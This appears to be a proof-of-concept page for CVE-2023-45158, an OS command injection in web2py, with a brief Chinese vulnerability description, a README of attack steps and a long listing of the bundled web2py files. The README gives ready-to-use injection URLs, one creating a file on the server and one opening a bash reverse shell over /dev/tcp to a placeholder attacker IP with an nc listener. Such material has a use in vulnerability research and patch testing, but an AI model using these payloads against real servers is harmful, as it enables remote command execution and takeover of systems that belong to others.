Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-45158 PoC — web2py 操作系统命令注入漏洞

Source
Associated Vulnerability
Title:web2py 操作系统命令注入漏洞 (CVE-2023-45158)
Description:web2py是web2py开源的一个免费和开源的全栈企业框架。用于敏捷开发安全的数据库驱动的基于 Web 的应用程序。 web2py 2.24.1及之前版本存在安全漏洞,该漏洞源于存在操作系统命令注入漏洞,精心设计的Web请求可能会在Web服务器上执行任意操作系统命令。
Readme
# CVE-2023-45158

# Steps
1. Run the webserver
```bash
cd web2py
python3 web2py.py
```

2. Inject your command using the URL ``http://<IP-ADDRESS>:8000/hack?msg=%27%3B<YOUR-COMMAND>%3B%27``. Replace ``<IP-ADDRESS>`` and ``<YOUR-COMMAND>`` with your values.

# Examples
1. Create a file on the server

``http://<IP-ADDRESS>:8000/hack?msg=%27%3Btouch%20hack%3B%27``

2. Reverse shell

On the attacker's machine, run ``nc -l 127.0.0.1 8080``

Go to URL ``http://<IP-ADDRESS>:8000/hack?msg=%27%3Bbash%20-i%20>%26/dev/tcp/<ATTACKER-IP>/8080%200>%26%201%3B%27``. Replace ``<ATTACKER-IP>``.
File Snapshot

[4.0K] /data/pocs/7eae4c5ee89a4559ec8c53aceaba8cfcfbe7cd02 ├── [ 584] README.md └── [4.0K] web2py ├── [ 214] ABOUT ├── [ 13K] anyserver.py ├── [4.0K] applications │   ├── [4.0K] admin │   │   ├── [ 214] ABOUT │   │   ├── [4.0K] controllers │   │   │   ├── [ 25K] appadmin.py │   │   │   ├── [7.7K] debug.py │   │   │   ├── [ 74K] default.py │   │   │   ├── [3.6K] gae.py │   │   │   ├── [2.5K] mercurial.py │   │   │   ├── [2.3K] openshift.py │   │   │   ├── [ 125] plugin_jqmobile.py │   │   │   ├── [3.6K] pythonanywhere.py │   │   │   ├── [ 774] toolbar.py │   │   │   ├── [3.4K] webservices.py │   │   │   └── [ 23K] wizard.py │   │   ├── [4.0K] cron │   │   │   └── [ 906] expire_sessions.py │   │   ├── [ 1] __init__.py │   │   ├── [4.0K] languages │   │   │   ├── [ 38K] af.py │   │   │   ├── [ 38K] bg.py │   │   │   ├── [ 39K] cs.py │   │   │   ├── [ 42K] de.py │   │   │   ├── [ 38K] en.py │   │   │   ├── [ 39K] es.py │   │   │   ├── [ 40K] fr.py │   │   │   ├── [ 40K] he.py │   │   │   ├── [ 39K] it.py │   │   │   ├── [ 40K] ja.py │   │   │   ├── [ 41K] my-mm.py │   │   │   ├── [ 39K] nl.py │   │   │   ├── [ 39K] pl.py │   │   │   ├── [ 150] plural-en.py │   │   │   ├── [ 174] plural-ru.py │   │   │   ├── [ 276] plural-uk.py │   │   │   ├── [ 39K] pt-br.py │   │   │   ├── [ 39K] pt.py │   │   │   ├── [ 39K] ro.py │   │   │   ├── [ 42K] ru.py │   │   │   ├── [ 38K] sl.py │   │   │   ├── [ 44K] sr-cr.py │   │   │   ├── [ 39K] sr-lt.py │   │   │   ├── [ 39K] tr.py │   │   │   ├── [ 51K] uk.py │   │   │   ├── [ 37K] zh.py │   │   │   └── [ 38K] zh-tw.py │   │   ├── [5.6K] LICENSE │   │   ├── [4.0K] models │   │   │   ├── [ 707] 0_imports.py │   │   │   ├── [1.7K] 0.py │   │   │   ├── [6.2K] access.py │   │   │   ├── [1.2K] buttons.py │   │   │   ├── [1.5K] db.py │   │   │   ├── [1.5K] menu.py │   │   │   ├── [ 231] plugin_multiselect.py │   │   │   └── [ 735] plugin_statebutton.py │   │   ├── [4.0K] modules │   │   │   ├── [ 1] __init__.py │   │   │   └── [4.0K] __pycache__ │   │   │   ├── [ 193] __init__.cpython-311.pyc │   │   │   └── [ 171] __init__.cpython-37.pyc │   │   ├── [4.0K] private │   │   │   └── [ 0] hosts.deny │   │   ├── [4.0K] __pycache__ │   │   │   ├── [ 185] __init__.cpython-311.pyc │   │   │   └── [ 163] __init__.cpython-37.pyc │   │   ├── [4.0K] sessions │   │   │   ├── [4.0K] 0fa │   │   │   │   └── [4.0K] 151 │   │   │   │   └── [ 608] 127.0.0.1-c80f0f9e-f07b-48a7-92b0-ef40ad03501c │   │   │   └── [4.0K] 18d │   │   │   └── [4.0K] 011 │   │   │   └── [ 657] 127.0.0.1-23bdb4be-0d45-4019-b951-ce1e0e05b7d4 │   │   ├── [ 270] settings.cfg │   │   ├── [4.0K] static │   │   │   ├── [4.0K] codemirror │   │   │   │   ├── [4.0K] addon │   │   │   │   │   ├── [4.0K] comment │   │   │   │   │   │   ├── [7.8K] comment.js │   │   │   │   │   │   └── [3.3K] continuecomment.js │   │   │   │   │   ├── [4.0K] dialog │   │   │   │   │   │   ├── [ 502] dialog.css │   │   │   │   │   │   └── [4.8K] dialog.js │   │   │   │   │   ├── [4.0K] display │   │   │   │   │   │   ├── [ 116] fullscreen.css │   │   │   │   │   │   ├── [1.5K] fullscreen.js │   │   │   │   │   │   ├── [3.0K] panel.js │   │   │   │   │   │   ├── [1.9K] placeholder.js │   │   │   │   │   │   └── [2.1K] rulers.js │   │   │   │   │   ├── [4.0K] edit │   │   │   │   │   │   ├── [6.3K] closebrackets.js │   │   │   │   │   │   ├── [7.4K] closetag.js │   │   │   │   │   │   ├── [1.7K] continuelist.js │   │   │   │   │   │   ├── [5.1K] matchbrackets.js │   │   │   │   │   │   ├── [2.3K] matchtags.js │   │   │   │   │   │   └── [1003] trailingspace.js │   │   │   │   │   ├── [4.0K] fold │   │   │   │   │   │   ├── [3.8K] brace-fold.js │   │   │   │   │   │   ├── [2.0K] comment-fold.js │   │   │   │   │   │   ├── [4.6K] foldcode.js │   │   │   │   │   │   ├── [ 435] foldgutter.css │   │   │   │   │   │   ├── [4.4K] foldgutter.js │   │   │   │   │   │   ├── [1.6K] indent-fold.js │   │   │   │   │   │   ├── [1.6K] markdown-fold.js │   │   │   │   │   │   └── [6.4K] xml-fold.js │   │   │   │   │   ├── [4.0K] hint │   │   │   │   │   │   ├── [1.6K] anyword-hint.js │   │   │   │   │   │   ├── [1.9K] css-hint.js │   │   │   │   │   │   ├── [ 11K] html-hint.js │   │   │   │   │   │   ├── [6.0K] javascript-hint.js │   │   │   │   │   │   ├── [3.5K] python-hint.js │   │   │   │   │   │   ├── [ 662] show-hint.css │   │   │   │   │   │   ├── [ 14K] show-hint.js │   │   │   │   │   │   ├── [7.1K] sql-hint.js │   │   │   │   │   │   └── [4.6K] xml-hint.js │   │   │   │   │   ├── [4.0K] mode │   │   │   │   │   │   ├── [2.2K] loadmode.js │   │   │   │   │   │   ├── [4.1K] multiplex.js │   │   │   │   │   │   ├── [ 810] multiplex_test.js │   │   │   │   │   │   ├── [3.0K] overlay.js │   │   │   │   │   │   └── [7.7K] simple.js │   │   │   │   │   ├── [4.0K] search │   │   │   │   │   │   ├── [ 188] matchesonscrollbar.css │   │   │   │   │   │   ├── [3.6K] matchesonscrollbar.js │   │   │   │   │   │   ├── [4.8K] match-highlighter.js │   │   │   │   │   │   ├── [7.5K] searchcursor.js │   │   │   │   │   │   └── [7.0K] search.js │   │   │   │   │   └── [4.0K] selection │   │   │   │   │   ├── [2.4K] active-line.js │   │   │   │   │   ├── [3.7K] mark-selection.js │   │   │   │   │   └── [3.2K] selection-pointer.js │   │   │   │   ├── [145K] emmet.min.js │   │   │   │   ├── [4.0K] keymap │   │   │   │   │   ├── [ 13K] emacs.js │   │   │   │   │   ├── [ 20K] sublime.js │   │   │   │   │   └── [189K] vim.js │   │   │   │   ├── [4.0K] lib │   │   │   │   │   ├── [7.2K] codemirror.css │   │   │   │   │   └── [314K] codemirror.js │   │   │   │   ├── [4.0K] mode │   │   │   │   │   ├── [4.0K] css │   │   │   │   │   │   ├── [ 33K] css.js │   │   │   │   │   │   ├── [1.7K] less_test.js │   │   │   │   │   │   ├── [3.1K] scss_test.js │   │   │   │   │   │   └── [6.4K] test.js │   │   │   │   │   ├── [4.0K] htmlmixed │   │   │   │   │   │   └── [4.9K] htmlmixed.js │   │   │   │   │   ├── [4.0K] javascript │   │   │   │   │   │   ├── [ 26K] javascript.js │   │   │   │   │   │   └── [7.3K] test.js │   │   │   │   │   ├── [4.0K] python │   │   │   │   │   │   └── [ 13K] python.js │   │   │   │   │   └── [4.0K] xml │   │   │   │   │   ├── [1.7K] test.js │   │   │   │   │   └── [ 12K] xml.js │   │   │   │   └── [4.0K] theme │   │   │   │   ├── [1.6K] 3024-day.css │   │   │   │   ├── [1.6K] 3024-night.css │   │   │   │   ├── [ 25K] ambiance.css │   │   │   │   ├── [ 103] ambiance-mobile.css │   │   │   │   ├── [1.7K] base16-dark.css │   │   │   │   ├── [1.7K] base16-light.css │   │   │   │   ├── [1.5K] blackboard.css │   │   │   │   ├── [1.3K] cobalt.css │   │   │   │   ├── [1.6K] colorforth.css │   │   │   │   ├── [1.1K] eclipse.css │   │   │   │   ├── [ 768] elegant.css │   │   │   │   ├── [1.8K] erlang-dark.css │   │   │   │   ├── [2.1K] lesser-dark.css │   │   │   │   ├── [1.7K] mbo.css │   │   │   │   ├── [4.7K] mdn-like.css │   │   │   │   ├── [1.7K] midnight.css │   │   │   │   ├── [1.3K] monokai.css │   │   │   │   ├── [ 693] neat.css │   │   │   │   ├── [ 932] neo.css │   │   │   │   ├── [1.4K] night.css │   │   │   │   ├── [1.6K] paraiso-dark.css │   │   │   │   ├── [1.6K] paraiso-light.css │   │   │   │   ├── [2.0K] pastel-on-dark.css │   │   │   │   ├── [1.4K] rubyblue.css │   │   │   │   ├── [4.4K] solarized.css │   │   │   │   ├── [1.4K] the-matrix.css │   │   │   │   ├── [1.7K] tomorrow-night-bright.css │   │   │   │   ├── [1.9K] tomorrow-night-eighties.css │   │   │   │   ├── [1.7K] twilight.css │   │   │   │   ├── [1.7K] vibrant-ink.css │   │   │   │   ├── [1.2K] web2py.css │   │   │   │   ├── [2.5K] xq-dark.css │   │   │   │   ├── [2.2K] xq-light.css │   │   │   │   └── [1.9K] zenburn.css │   │   │   ├── [4.0K] css │   │   │   │   ├── [ 19K] bootstrap_essentials.css │   │   │   │   ├── [104K] bootstrap.min.css │   │   │   │   ├── [ 16K] bootstrap-responsive.min.css │   │   │   │   ├── [2.9K] calendar.css │   │   │   │   ├── [ 740] d3_graph.css │   │   │   │   ├── [ 755] jqueryMultiSelect.css │   │   │   │   ├── [1.9K] typeahead.js-bootstrap.css │   │   │   │   └── [1.3K] web2py-codemirror.css │   │   │   ├── [4.0K] images │   │   │   │   ├── [4.6K] chat.png │   │   │   │   ├── [ 855] delete_icon.png │   │   │   │   ├── [ 424] dim_bullet.gif │   │   │   │   ├── [ 310] embossed.png │   │   │   │   ├── [1.3K] files_toggle.png │   │   │   │   ├── [ 932] folder_locked.png │   │   │   │   ├── [ 823] folder.png │   │   │   │   ├── [ 764] folder_sm.png │   │   │   │   ├── [ 12K] glyphicons-halflings.png │   │   │   │   ├── [8.6K] glyphicons-halflings-white.png │   │   │   │   ├── [ 149] header_bg.png │   │   │   │   ├── [ 143] header_shadow.png │   │   │   │   ├── [ 450] help.png │   │   │   │   ├── [1.4K] menu.png │   │   │   │   ├── [1.5K] menu_responsive.png │   │   │   │   ├── [4.9K] questions.png │   │   │   │   ├── [ 630] red_bullet.gif │   │   │   │   ├── [ 762] save_icon.png │   │   │   │   ├── [ 688] search.png │   │   │   │   ├── [ 718] section_bullet.png │   │   │   │   ├── [ 430] sidebar_background.jpg │   │   │   │   ├── [ 426] sidebar_bullet.gif │   │   │   │   ├── [1.3K] small_button.png │   │   │   │   ├── [1.4K] small_special_button.png │   │   │   │   ├── [155K] spinner.gif │   │   │   │   ├── [5.4K] start.png │   │   │   │   ├── [ 879] test_icon.png │   │   │   │   └── [ 718] ticket_section.png │   │   │   ├── [4.0K] js │   │   │   │   ├── [8.9K] ajax_editor.js │   │   │   │   ├── [ 13K] analytics.min.js │   │   │   │   ├── [2.0K] autoscroll.js │   │   │   │   ├── [ 28K] bootstrap.min.js │   │   │   │   ├── [ 44K] calendar.js │   │   │   │   ├── [5.9K] d3_graph.js │   │   │   │   ├── [211K] d3.min.js │   │   │   │   ├── [6.9K] dd_belatedpng.js │   │   │   │   ├── [6.2K] hogan-2.0.0.js │   │   │   │   ├── [104K] jquery.flot.js │   │   │   │   ├── [2.4K] jquery.flot.resize.js │   │   │   │   ├── [ 10K] jquery.hotkeys.js │   │   │   │   ├── [ 85K] jquery.js │   │   │   │   ├── [ 11K] jqueryMultiSelect.js │   │   │   │   ├── [ 15K] modernizr.custom.js │   │   │   │   ├── [2.6K] share.js │   │   │   │   ├── [ 21K] typeahead.min.js │   │   │   │   ├── [1.5K] web2py_bootstrap.js │   │   │   │   └── [ 35K] web2py.js │   │   │   ├── [4.0K] plugin_jqmobile │   │   │   │   ├── [6.9K] dd_belatedpng.js │   │   │   │   ├── [4.0K] images │   │   │   │   │   ├── [ 366] ajax-loader.png │   │   │   │   │   ├── [2.1K] icons-18-black.png │   │   │   │   │   ├── [1.9K] icons-18-white.png │   │   │   │   │   ├── [4.2K] icons-36-black.png │   │   │   │   │   ├── [3.7K] icons-36-white.png │   │   │   │   │   └── [ 98K] iphone.jpg │   │   │   │   ├── [ 71K] jquery.mobile-1.2.0.min.css │   │   │   │   ├── [111K] jquery.mobile-1.2.0.min.js │   │   │   │   ├── [ 92K] jquery.mobile-1.3.1.min.css │   │   │   │   └── [141K] jquery.mobile-1.3.1.min.js │   │   │   ├── [4.0K] plugin_multiselect │   │   │   │   ├── [ 13K] jquery.multi-select.js │   │   │   │   ├── [2.2K] multi-select.css │   │   │   │   ├── [ 141] start.js │   │   │   │   └── [3.0K] switch.png │   │   │   └── [4.0K] plugin_statebutton │   │   │   ├── [4.0K] css │   │   │   │   └── [ 14K] bootstrap-switch.css │   │   │   └── [4.0K] js │   │   │   └── [ 13K] bootstrap-switch.js │   │   └── [4.0K] views │   │   ├── [ 11K] appadmin.html │   │   ├── [4.0K] debug │   │   │   ├── [6.4K] breakpoints.html │   │   │   ├── [3.7K] index.html │   │   │   └── [8.2K] interact.html │   │   ├── [4.0K] default │   │   │   ├── [1.1K] about.html │   │   │   ├── [ 575] bulk_register.html │   │   │   ├── [ 719] change_password.html │   │   │   ├── [ 432] delete.html │   │   │   ├── [ 453] delete_plugin.html │   │   │   ├── [ 23K] design.html │   │   │   ├── [ 14K] edit.html │   │   │   ├── [7.2K] edit_js.html │   │   │   ├── [ 836] edit_language.html │   │   │   ├── [ 448] editor_sessions.html │   │   │   ├── [2.7K] editor_settings.html │   │   │   ├── [ 806] editor_shortcuts.html │   │   │   ├── [ 404] edit_plurals.html │   │   │   ├── [6.2K] errors.html │   │   │   ├── [ 51] files_menu.html │   │   │   ├── [ 418] git_pull.html │   │   │   ├── [ 334] git_push.html │   │   │   ├── [ 939] index.html │   │   │   ├── [ 477] install_plugin.html │   │   │   ├── [7.1K] manage_students.html │   │   │   ├── [1.1K] pack_custom.html │   │   │   ├── [ 556] peek.html │   │   │   ├── [8.0K] plugin.html │   │   │   ├── [1.4K] plugins.html │   │   │   ├── [ 783] resolve.html │   │   │   ├── [6.8K] site.html │   │   │   ├── [1.2K] test.html │   │   │   ├── [4.8K] ticket.html │   │   │   ├── [4.7K] ticket.load │   │   │   ├── [ 915] todolist.load │   │   │   ├── [ 947] twitter.load │   │   │   ├── [ 205] uninstall.html │   │   │   ├── [ 666] upgrade_web2py.html │   │   │   └── [2.2K] user.html │   │   ├── [4.0K] default.mobile │   │   │   ├── [ 374] about.html │   │   │   ├── [ 145] change_password.html │   │   │   ├── [ 441] delete.html │   │   │   ├── [ 314] delete_plugin.html │   │   │   ├── [7.8K] design.html │   │   │   ├── [ 562] downgrade_web2py.html │   │   │   ├── [2.2K] edit.html │   │   │   ├── [ 371] edit_language.html │   │   │   ├── [4.8K] errors.html │   │   │   ├── [ 433] git_pull.html │   │   │   ├── [ 418] git_push.html │   │   │   ├── [ 757] index.html │   │   │   ├── [4.5K] layout.html │   │   │   ├── [ 387] peek.html │   │   │   ├── [6.1K] plugin.html │   │   │   ├── [ 697] resolve.html │   │   │   ├── [1.8K] site.html │   │   │   ├── [ 979] test.html │   │   │   ├── [4.5K] ticket.html │   │   │   ├── [4.7K] ticket.load │   │   │   ├── [ 320] uninstall.html │   │   │   ├── [ 550] upgrade_web2py.html │   │   │   └── [ 605] user.html │   │   ├── [4.0K] gae │   │   │   └── [1.3K] deploy.html │   │   ├── [ 438] generic.html │   │   ├── [5.6K] layout.html │   │   ├── [4.0K] mercurial │   │   │   ├── [ 818] commit.html │   │   │   └── [ 224] revision.html │   │   ├── [4.0K] openshift │   │   │   └── [1.5K] deploy.html │   │   ├── [4.0K] plugin_jqmobile │   │   │   ├── [2.0K] about.html │   │   │   ├── [ 848] index.html │   │   │   └── [4.5K] layout.html │   │   ├── [4.0K] pythonanywhere │   │   │   └── [7.0K] deploy.html │   │   ├── [4.0K] toolbar │   │   │   └── [ 726] index.html │   │   ├── [ 821] web2py_ajax.html │   │   └── [4.0K] wizard │   │   ├── [ 664] generated.html │   │   └── [8.6K] step.html │   ├── [4.0K] examples │   │   ├── [ 214] ABOUT │   │   ├── [4.0K] controllers │   │   │   ├── [ 390] ajax_examples.py │   │   │   ├── [ 25K] appadmin.py │   │   │   ├── [1.6K] cache_examples.py │   │   │   ├── [2.5K] default.py │   │   │   ├── [ 846] form_examples.py │   │   │   ├── [1.4K] global.py │   │   │   ├── [ 906] layout_examples.py │   │   │   ├── [ 206] session_examples.py │   │   │   ├── [2.9K] simple_examples.py │   │   │   ├── [2.4K] soap_examples.py │   │   │   ├── [ 310] spreadsheet.py │   │   │   └── [ 420] template_examples.py │   │   ├── [4.0K] cron │   │   │   └── [ 8] crontab │   │   ├── [ 1] __init__.py │   │   ├── [4.0K] languages │   │   │   └── [ 1] README │   │   ├── [6.7K] LICENSE │   │   ├── [4.0K] models │   │   │   ├── [1.7K] feeds_reader.py │   │   │   ├── [1.1K] markmin.py │   │   │   ├── [1.9K] menu.py │   │   │   └── [ 156] session.py │   │   ├── [4.0K] private │   │   │   └── [4.0K] content │   │   │   └── [4.0K] en │   │   │   └── [4.0K] default │   │   │   ├── [4.0K] documentation │   │   │   │   ├── [ 320] community.markmin │   │   │   │   ├── [ 177] main.markmin │   │   │   │   ├── [1.3K] more.markmin │   │   │   │   └── [ 798] official.markmin │   │   │   ├── [4.0K] index │   │   │   │   ├── [ 466] maincontent.markmin │   │   │   │   └── [5.6K] whyweb2py.markmin │   │   │   ├── [4.0K] usergroups │   │   │   │   └── [1.2K] grouplist.markmin │   │   │   └── [4.0K] what │   │   │   └── [6.1K] whyweb2py.markmin │   │   ├── [4.0K] static │   │   │   ├── [ 4] 403.html │   │   │   ├── [ 4] 404.html │   │   │   ├── [ 4] 500.html │   │   │   ├── [ 67] 503.html │   │   │   ├── [1.8M] artwork.tar.gz │   │   │   ├── [4.0K] css │   │   │   │   ├── [3.0K] artwork.css │   │   │   │   ├── [1.2K] calendar.css │   │   │   │   ├── [2.2K] examples.css │   │   │   │   ├── [ 14K] stupid.css │   │   │   │   └── [5.3K] web2py.css │   │   │   ├── [1.1K] favicon.ico │   │   │   ├── [4.0K] images │   │   │   │   ├── [ 18K] book-4th.png │   │   │   │   ├── [ 29K] book-5th.png │   │   │   │   ├── [ 34K] book-recipes.png │   │   │   │   ├── [ 991] facebook.png │   │   │   │   ├── [ 198] favicon.ico │   │   │   │   ├── [ 323] favicon.png │   │   │   │   ├── [1.5K] gplus-32.png │   │   │   │   ├── [ 25K] infoworld2012.jpeg │   │   │   │   ├── [149K] logo_bw.png │   │   │   │   ├── [232K] logo_db.png │   │   │   │   ├── [212K] logo_lb.png │   │   │   │   ├── [ 162] menu.png │   │   │   │   ├── [4.1K] poweredby.png │   │   │   │   ├── [5.7K] questions.png │   │   │   │   ├── [9.5K] shadow-bottom.png │   │   │   │   ├── [4.0K] Stickers1.png │   │   │   │   ├── [4.1K] Stickers2.png │   │   │   │   ├── [3.6K] Stickers3.png │   │   │   │   ├── [3.3K] Stickers4.png │   │   │   │   ├── [3.1K] Stickers5.png │   │   │   │   ├── [3.2K] Stickers6.png │   │   │   │   ├── [3.5K] Stickers7.png │   │   │   │   ├── [3.3K] Stickers8.png │   │   │   │   ├── [ 77K] stripes.png │   │   │   │   ├── [ 58K] tag-cloud-color-small.png │   │   │   │   ├── [1.1K] twitter.png │   │   │   │   ├── [ 28K] videos.png │   │   │   │   └── [9.7K] web2py_logo.png │   │   │   ├── [4.0K] js │   │   │   │   ├── [ 13K] analytics.min.js │   │   │   │   ├── [ 51K] calendar.js │   │   │   │   ├── [ 85K] jquery.js │   │   │   │   ├── [2.6K] share.js │   │   │   │   └── [ 35K] web2py.js │   │   │   ├── [ 16K] markmin.html │   │   │   ├── [ 78] robots.txt │   │   │   ├── [ 11K] title.png │   │   │   ├── [124K] web2py_cheatsheet.pdf │   │   │   ├── [ 38K] web2py_contributor_agreement.pdf │   │   │   └── [9.7K] web2py_logo.png │   │   └── [4.0K] views │   │   ├── [4.0K] ajax_examples │   │   │   ├── [ 225] fade.html │   │   │   └── [ 327] index.html │   │   ├── [ 11K] appadmin.html │   │   ├── [4.0K] cache_examples │   │   │   └── [ 79] generic.html │   │   ├── [4.0K] database_examples │   │   │   ├── [ 185] buy.html │   │   │   ├── [ 103] register_dog.html │   │   │   ├── [ 105] register_person.html │   │   │   └── [ 111] register_product.html │   │   ├── [4.0K] default │   │   │   ├── [ 77] changelog.html │   │   │   ├── [ 437] documentation.html │   │   │   ├── [7.9K] download.html │   │   │   ├── [ 38K] examples.html │   │   │   ├── [3.6K] index.html │   │   │   ├── [ 114] license.html │   │   │   ├── [2.5K] support.html │   │   │   ├── [ 113] usergroups.html │   │   │   ├── [ 865] videos.html │   │   │   ├── [1.2K] what.html │   │   │   └── [7.7K] who.html │   │   ├── [4.0K] form_examples │   │   │   └── [ 93] form.html │   │   ├── [ 438] generic.html │   │   ├── [ 427] generic.json │   │   ├── [ 183] generic.load │   │   ├── [ 631] generic.rss │   │   ├── [ 79] generic.xml │   │   ├── [4.0K] global │   │   │   └── [1.2K] vars.html │   │   ├── [4.0K] images_examples │   │   │   └── [ 79] index.html │   │   ├── [4.0K] layout_examples │   │   │   ├── [ 85] basic.html │   │   │   ├── [ 127] civilized.html │   │   │   ├── [4.1K] layout_civilized.html │   │   │   ├── [4.8K] layout_sleek.html │   │   │   └── [ 107] slick.html │   │   ├── [2.7K] layout.html │   │   ├── [4.0K] session_examples │   │   │   └── [ 197] counter.html │   │   ├── [4.0K] simple_examples │   │   │   ├── [ 64] ajaxwiki.html │   │   │   └── [ 48] hello3.html │   │   ├── [4.0K] soap_examples │   │   │   └── [ 184] generic.html │   │   ├── [4.0K] spreadsheet │   │   │   └── [ 834] index.html │   │   ├── [4.0K] template_examples │   │   │   ├── [ 77] beautify.html │   │   │   ├── [ 102] escape.html │   │   │   ├── [ 212] test_def.html │   │   │   ├── [ 131] test_for.html │   │   │   ├── [ 140] test_if.html │   │   │   ├── [ 119] test_try.html │   │   │   ├── [ 85] variables.html │   │   │   └── [ 72] xml.html │   │   └── [ 768] web2py_ajax.html │   ├── [4.0K] hack │   │   ├── [ 55] ABOUT │   │   ├── [4.0K] controllers │   │   │   ├── [ 25K] appadmin.py │   │   │   └── [2.3K] default.py │   │   ├── [4.0K] cron │   │   │   └── [ 8] crontab │   │   ├── [4.0K] databases │   │   │   ├── [ 769] c8b669d15150d7109e5f7ab36744a5b7_auth_cas.table │   │   │   ├── [ 787] c8b669d15150d7109e5f7ab36744a5b7_auth_event.table │   │   │   ├── [ 393] c8b669d15150d7109e5f7ab36744a5b7_auth_group.table │   │   │   ├── [ 560] c8b669d15150d7109e5f7ab36744a5b7_auth_membership.table │   │   │   ├── [ 677] c8b669d15150d7109e5f7ab36744a5b7_auth_permission.table │   │   │   ├── [ 930] c8b669d15150d7109e5f7ab36744a5b7_auth_user.table │   │   │   ├── [1.7K] sql.log │   │   │   └── [ 32K] storage.sqlite │   │   ├── [4.0K] errors │   │   │   ├── [ 46K] 127.0.0.1.2023-11-04.15-06-00.3952c4e2-69f8-4b11-a832-94210c3da2bd │   │   │   ├── [ 46K] 127.0.0.1.2023-11-04.15-09-02.d4a320b0-809e-4e7d-a220-5704907da53f │   │   │   └── [ 46K] 127.0.0.1.2023-11-04.15-09-56.d01cccb0-4ea4-4482-af24-9d80f7e34c15 │   │   ├── [ 1] __init__.py │   │   ├── [4.0K] languages │   │   │   ├── [ 15K] ar.py │   │   │   ├── [ 15K] ca.py │   │   │   ├── [ 14K] cs.py │   │   │   ├── [ 15K] de.py │   │   │   ├── [ 14K] en.py │   │   │   ├── [ 15K] es.py │   │   │   ├── [ 15K] fr-ca.py │   │   │   ├── [ 15K] fr.py │   │   │   ├── [ 15K] hi.py │   │   │   ├── [ 14K] hu.py │   │   │   ├── [ 14K] id.py │   │   │   ├── [ 14K] it.py │   │   │   ├── [ 18K] my-mm.py │   │   │   ├── [ 14K] my.py │   │   │   ├── [ 14K] nl.py │   │   │   ├── [ 14K] pl.py │   │   │   ├── [ 743] plural-cs.py │   │   │   ├── [ 241] plural-en.py │   │   │   ├── [ 144] plural-es.py │   │   │   ├── [ 601] plural-ru.py │   │   │   ├── [2.0K] plural-uk.py │   │   │   ├── [ 14K] pt-br.py │   │   │   ├── [ 14K] pt.py │   │   │   ├── [ 14K] ro.py │   │   │   ├── [ 15K] ru.py │   │   │   ├── [ 14K] sk.py │   │   │   ├── [ 14K] tr.py │   │   │   ├── [ 17K] uk.py │   │   │   ├── [ 14K] zh-cn.py │   │   │   ├── [ 14K] zh.py │   │   │   └── [ 14K] zh-tw.py │   │   ├── [ 208] LICENSE │   │   ├── [4.0K] models │   │   │   ├── [7.6K] db.py │   │   │   └── [5.1K] menu.py │   │   ├── [4.0K] modules │   │   │   └── [ 1] __init__.py │   │   ├── [4.0K] private │   │   │   └── [ 613] appconfig.ini │   │   ├── [ 28] progress.log │   │   ├── [2.3K] routes.example.py │   │   ├── [4.0K] static │   │   │   ├── [ 4] 403.html │   │   │   ├── [ 4] 404.html │   │   │   ├── [ 4] 500.html │   │   │   ├── [ 67] 503.html │   │   │   ├── [4.0K] css │   │   │   │   ├── [141K] bootstrap.min.css │   │   │   │   ├── [539K] bootstrap.min.css.map │   │   │   │   ├── [2.9K] calendar.css │   │   │   │   ├── [6.9K] web2py-bootstrap4.css │   │   │   │   └── [8.2K] web2py.css │   │   │   ├── [4.0K] images │   │   │   │   ├── [ 323] background.jpg │   │   │   │   ├── [ 991] facebook.png │   │   │   │   ├── [ 198] favicon.ico │   │   │   │   ├── [ 323] favicon.png │   │   │   │   ├── [1.5K] gplus-32.png │   │   │   │   └── [1.1K] twitter.png │   │   │   └── [4.0K] js │   │   │   ├── [233K] analytics.min.js │   │   │   ├── [ 66K] bootstrap.bundle.min.js │   │   │   ├── [267K] bootstrap.bundle.min.js.map │   │   │   ├── [ 51K] calendar.js │   │   │   ├── [ 85K] jquery.js │   │   │   ├── [ 15K] modernizr-2.8.3.min.js │   │   │   ├── [3.0K] web2py-bootstrap4.js │   │   │   └── [ 36K] web2py.js │   │   └── [4.0K] views │   │   ├── [ 11K] appadmin.html │   │   ├── [4.0K] default │   │   │   ├── [2.4K] index.html │   │   │   └── [1.2K] user.html │   │   ├── [ 704] generic.csv │   │   ├── [ 380] generic.html │   │   ├── [ 518] generic.ics │   │   ├── [ 69] generic.json │   │   ├── [ 753] generic.jsonp │   │   ├── [ 875] generic.load │   │   ├── [2.7K] generic.map │   │   ├── [ 300] generic.pdf │   │   ├── [ 364] generic.rss │   │   ├── [ 79] generic.xml │   │   ├── [ 1] __init__.py │   │   ├── [6.5K] layout.html │   │   └── [ 821] web2py_ajax.html │   ├── [ 1] __init__.py │   ├── [4.0K] __pycache__ │   │   ├── [ 179] __init__.cpython-311.pyc │   │   └── [ 157] __init__.cpython-37.pyc │   └── [4.0K] welcome │   ├── [ 55] ABOUT │   ├── [4.0K] controllers │   │   ├── [ 25K] appadmin.py │   │   └── [2.1K] default.py │   ├── [4.0K] cron │   │   └── [ 8] crontab │   ├── [4.0K] databases │   │   ├── [ 627] c8b669d15150d7109e5f7ab36744a5b7_auth_cas.table │   │   ├── [ 645] c8b669d15150d7109e5f7ab36744a5b7_auth_event.table │   │   ├── [ 310] c8b669d15150d7109e5f7ab36744a5b7_auth_group.table │   │   ├── [ 477] c8b669d15150d7109e5f7ab36744a5b7_auth_membership.table │   │   ├── [ 556] c8b669d15150d7109e5f7ab36744a5b7_auth_permission.table │   │   ├── [ 766] c8b669d15150d7109e5f7ab36744a5b7_auth_user.table │   │   ├── [1.7K] sql.log │   │   └── [ 32K] storage.sqlite │   ├── [ 1] __init__.py │   ├── [4.0K] languages │   │   ├── [ 15K] ar.py │   │   ├── [ 15K] ca.py │   │   ├── [ 14K] cs.py │   │   ├── [ 15K] de.py │   │   ├── [ 14K] en.py │   │   ├── [ 15K] es.py │   │   ├── [ 15K] fr-ca.py │   │   ├── [ 15K] fr.py │   │   ├── [ 15K] hi.py │   │   ├── [ 14K] hu.py │   │   ├── [ 14K] id.py │   │   ├── [ 14K] it.py │   │   ├── [ 18K] my-mm.py │   │   ├── [ 14K] my.py │   │   ├── [ 14K] nl.py │   │   ├── [ 14K] pl.py │   │   ├── [ 743] plural-cs.py │   │   ├── [ 241] plural-en.py │   │   ├── [ 144] plural-es.py │   │   ├── [ 601] plural-ru.py │   │   ├── [2.0K] plural-uk.py │   │   ├── [ 14K] pt-br.py │   │   ├── [ 14K] pt.py │   │   ├── [ 14K] ro.py │   │   ├── [ 15K] ru.py │   │   ├── [ 14K] sk.py │   │   ├── [ 14K] tr.py │   │   ├── [ 17K] uk.py │   │   ├── [ 14K] zh-cn.py │   